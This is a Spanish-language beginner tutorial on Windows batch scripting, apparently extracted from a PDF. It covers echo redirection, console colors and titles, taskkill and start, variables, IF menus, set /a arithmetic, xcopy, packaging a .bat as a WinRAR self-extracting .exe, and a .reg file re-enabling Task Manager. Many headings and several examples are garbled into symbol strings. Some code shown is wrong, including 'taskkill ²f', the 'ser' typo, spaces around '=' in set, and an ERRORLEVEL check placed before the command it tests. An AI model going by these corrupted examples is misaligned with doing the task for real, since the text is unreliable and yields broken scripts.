Por ultimo cambiamos de directorio al disco C, copiamos la copia y cerramos el Batch.

Después de que ejecutemos el Batch, si vamos al Disco C, veremos que hay dos nuevos archivos
de texto: uno llamado copiado.txt y otro copiado2.txt.
También si vamos a la carpeta del Batch, veremos no está el archivo de texto original,
"COPIAME.TXT".

    


 7

Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:

7
echo TEXTO DE PRIMERA LINEA > nombre.extensión
echo TEXTO SEGUNDA LINEA >> nombre.extensión
echo TEXTO SIGUIENTE LINEA >> nombre.extensión

Al escribir 
 seguido de un texto y el signo > creamos un archivo con el nombre que siga.
Si ocupamos un 
 seguido de un texto y el doble signo > (>>) se escribirá en la siguiente
linea vacía del archivo que prosiga.

Hagamos la prueba:

7
echo Creando un Archivo de texto > nuevo.txt
echo Esta es la Segunda linea >> nuevo.txt
echo Y esta es la Siguiente >> nuevo.txt
echo Esto esta genial >> nuevo.txt

Si ejecutamos eso, la pantalla negra se abrirá y cerrará.


Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.txt" que
si lo abrimos, dentro estará escrito lo que especificamos.

Personalizando el SHELL
Seguro que no te gusta mucho el aspecto del Shell.
Aquí veremos como personalizarlo un poco.

COLOR:

Con la función color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis:
&%&'$,
Donde A= El color de el Fondo y B= Color de las letras.
Para ver todos los colores ve el MS-Dos y escribe ?

TITLE:

Para cambiar el título de la barra de tareas solo escribe:


#%** 

PAUSE PERSONALIZADO:

¿No te gusta que al poner pause salga "Presione una tecla para continuar..."?
Pues si escribes "pause>nul" no aparecerá ni un texto.
Entonces si anteponemos un mensaje, quedaría así.

7
echo Aprieta cualquier tecla para seguir
pause>nul

Además puedes jugar con los caracteres. Aquí un ejemplo, donde cambié los colores y jugué con
los caracteres y personalicé el PAUSE:
El código que empleé para esto fue:

7
@echo off
color 30
echo ==================================
echo = =
echo = Personalizado =
echo = =
echo ==================================
echo.
echo.
echo Esto esta personalizado, para salir presiona una tecla.
pause>nul
exit

Cabe mencionar que 


 (ECHO seguido de un punto)sirve para saltarse una línea.

 - 7


¿Alguna vez has presionado CTRL+ALT+DELETE?
Si lo haces se abre el Administrador de tarea. En la pestaña procesos salen algunos procesos que
están andando en tu pc, haciéndoles clics y apretando "terminar proceso" lo puedes acabar.
Con batch eso es muy fácil, se usa la función:
#EE(No funciona en todos los pc, para ver si esta disponible escribe EE? )
Su sintaxis es:

7
Taskkill -f -im proceso.exe
?9 Fuerza el término del proceso.

Un ejemplo seria escribir.

7
taskkill ²f -im wmplayer.exe

Si lo ejecutas y tienes el Reproductor de Windows Media abierto, este se cerrará.

ABRIENDO PROCESOS:

Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la función " que
funciona así:

7
start proceso.exe
También puedes abrir paginas web con tu explorador predeterminado.

7
start wmplayer.exe

Se abrirá el Reproductor de Música

7
start www.google.cl

Se abrirá tu Explorador de Internet en Google.

17
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la
variable zero, cuando la llamamos seria %zero%


$%$-'$# $
Comenzaremos examinando el code siguiente:

7
echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
pause
set /p nombre=cómo te llamas?
set /p edad=cuántos años tienes?
pause
echo hola %nombre%
echo veo que tienes %edad% años verdad?
echo Hasta luego!
pause
exit

Ahora Examinemos el code:

7
set /p nombre=cómo te llamas?
Con esto estamos haciendo que el archivo pregunte al usuario el valor de la variable nombre.
´Setµ es el comando para llamar variables.
´/pµ significa que el usuario le pondrá el valor a la variable por medio de una pregunta.
"nombre" ahí está el nombre de la variable.
"=cómo te llamas?" es la pregunta que se le hará al usuario.
----------------------------------------------------------------------------------------------------------------------------

1  

%ALLUSERSPROFILE% ------> todos los usuarios


%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuración
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> Windows
%homedrive% --------------> disco Raíz
----------------------------------------------------------------------------------------------------------------------------

+@ BF +@ B( "#

IF es un comando que permite verificar algo. Si es verdadero o no hace una acción determinada.
Su principal rol en los batch es verificar si alguna variable es "tal" valor numérico. Aquí
mostraremos un claro ejemplo de su función que no es para nada complicado.

7
@echo off
set /p var=cuanto es 1+1??
if %var%==2 (echo bien) else echo mal
pause

En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor


especificado. Aquí se ve claramente:

7
@echo off
set /p var=cuanto es 1+1??
if not %var%==2 (echo mal) else echo bien
pause

IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento idéntico al IF
(NOT), solo que trabaja sobre archivos y no valores alfanuméricos. Un ejemplo:

7
@echo off
if exist c:/windows/system32/explorer.exe (echo tienes el explorer) else echo no tienes el explorer
pause > nul
----------------------------------------------------------------------------------------------------------------------------
$    + 5 G

IF nos ayuda a la hora de crear menús. Ya que podemos asignarle un número a cada opción del
menú y así cuando el usuario ingrese cierto número nos llevara al lugar designado. No se
entiende totalmente en palabras por eso les he formulado este simple code que lo explica.

7
@echo off
:menu
echo 1. Abrir google
echo 2. Abrir wikipedia
set /p var=Que pagina web quieres abir? Teclea numero de opcion y pulse intro; para salir pulse
intro sin ninguna opcion:

if %var%==1 (goto goo)


if %var%==2 (goto wiki)
:goo
start www.google.com
pause
goto menu
:wiki
start www.wikipedia.com
pause
goto menu

----------------------------------------------------------------------------------------------------------------------------

1$' $,%"7

Ahora aprendamos a declarar variables. Para crear una se escribe:

7
set NOMBREVARIABLE = VALOR

Para llamarla debemos escribir su nombre entre los signos ::


Ejemplo:

7
@echo off
set Nombre= Javier Letelier Ruiz
echo %Nombre%
pause

La pantalla nos mostrara algo así:


Para cambiar el valor solo debemos hacer esto:

7
set Nombre= Nuevo Valor

Si quieres que tu Variable sea dinámica, osea que el Usuario la elija antepones ?:

7
set /p Nombre=Escriba su Nombre:

Donde el Batch se pausara solo mostrando el Mensaje que va luego de ><> dejando que se
escriba algo.
También podemos multiplicarlas, sumarlas, etc... con ?:

7
set numero1=2
ser numero2=43
set /a suma= %numero1% + %numero2%
echo %suma%
pause
exit

Si ejecutamos este, nos devolverá la suma de 2 + 43, 45.

  


 ,$#
copiar una carpeta de un origen a un destino.

coloca este codigo en el notepad y despues lo guardas con extension .BAT


recuerda que la instruccion rem es para escribir comentario
recuerda que la instruccion echo es para imprimir en la pantalla

@echo off
echo Probando
rem esta linea es un comentario, la instruccion if es en el caso de que la
rem carpeta no exista.
IF ERRORLEVEL 2 GOTO ERROR
rem xcopy es el comando para copiar una carpeta entera y no un archivo propiamente.
xcopy D:\rutacarpetaorigonal C:\rutacarpetadestino
echo Proceso Completa
pause
exit
:ERROR
pause
Espero te sirva
Saludos
----------------------------------------------------------------------------------------------------------------------------

IF EQU - igual
IF NEQ - no igual
IF LSS - menor que
IF LEQ - menor que o igual
IF GTR - mayor que
IF GEQ - mayor que o igual

UTILIZANDO SET /A

set /a sirve para realizar operaciones yo explicare las basicas uranios y aritmeticos:

sumar
dividir
multiplicar
restar

tambien os dejare una lista de las operaciones que se pueden realizar

() - agrupar
!~- - operadores unarios
*/% - operadores aritméticos
+- - operadores aritméticos
<< >> - desplazamiento lógico
& - bit a bit y
^ - bit a bit exclusivo o
| - bit a bit
= *= /= %= += -= - asignación
&= ^= |= <<= >>=
, - separador de expresión

un ejemplo de una sencilla suma:

@echo off
set /a resul=5 + 5
echo el resultado es %resul%
pause
exit

mmmm como veis se alamacena el resultado en la variable resul que luego sera mostrada por
echo.

con esto ya podeis hacer una sencilla calculadora que sume


@echo off
:menu
set /p var=primer numero:
set /p var1=segundo numero:
set /a resul=%var% + %var1%
echo el resultado es %resul%
pause
goto menu

----------------------------------------------------------------------------------------------------------------------------

, *    


 69 *    
69
  5  

Si quieres convertirlo a .exe y que siga funcionando, el compresor WinRar te permite hacer eso y
más solo es cuestión de explorar un poco.Haz lo siguiente:

1. Da clic con el botón secundario del mouse sobre el archivo que deseas cambiar para que te
aparezca el menú contextual; luego eliges la opción "Añadir al archivo..."

2. Aparecera un cuadro llamado "nombre de Archivo y parametros" y por defecto estarás ya en


la ficha "General (Fijjate que la pestaña dice "General".

Ahora, en el apartado "Opciones de compresion" marca la casilla de "Crear un archivo SFX". (Si
eres detallista, notaras que con solo marcar esta casilla en el cuadro "Nombre de Archivo", este
ha tomado ya la extensión .exe)

Si quieres, puedes mediante la ficha "Avanzado", darle otras propiedades al .exe; para ello haz
clic en la pestaña de la ficha avanzado y luego eliges "Opciones SFX" y te aparecera el cuadro
"Opciones avanzadas SFX"

En el cuadro Opciones avanzadas SFX, en ruta de extracción puedes escribir la ruta donde se
extraera el contenido del .exe al ser ejecutado (Por Ejemplo: c:\)

En el apartado Programa de instalacion, escribe en el cuadro "Ejecutar tras la extracción" el


nombre real del archivo.bat, es decir, si quieres que el .bat se ejecute al dar doble clic al .exe,
escribe aqui el nombre completo del .bat "Archivo.bat"

Si quieres cambiar el icono que identifica por defecto al archivo, (Ejemplo quieres colocar tu
propio icono al archivo), ve a la pestaña "Texto e icono" y el el cuadro "Cargar icono SFX desde
fichero", haz clic en buscar y localiza el icono en tu pc que deseas colocar al archivo.exe.....

----------------------------------------------------------------------------------------------------------------------------
Ahora vamos con los códigos de los colores, para la ventana..

0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Púrpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro

A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Púrpura claro
E = Amarillo claro
F = Blanco brillante

Un ejemplo de como aplicarlos:

V
99


H



6

Seria asi el comando:

CC&%&'1!#$!$CCCC&%&'%#'$CC

Sustituyendo **COLOR VENTANA** por el color de fondo y **COLOR LETRA** por el color
de la letra...por ejemplo color 6C o color F1...

Ahora vamos con nuevas variables...es para operaciones matemáticas...se expresa asi:

?CC1$' $,%CC<CC-'Ö0!#$8#(#&8#CC

Mejor ver un ejemplo:

V
99

?<c     

?<c     

? <c     

?<c     

?<c     

?9<c    

<I
*    8  I8* I
 
?<JJ JJJ9
*
?<::?::
*   *<JJ JJJ9*
   8*<I858 

 7::

6
----------------------------------------------------------------------------------------------------------------------------

para activar el regedit pase esto a xp abres tu block de notas y despues lo guardas como task.reg

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr"=dword:00000000
"DisableRegistryTools"=dword:00000000

¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢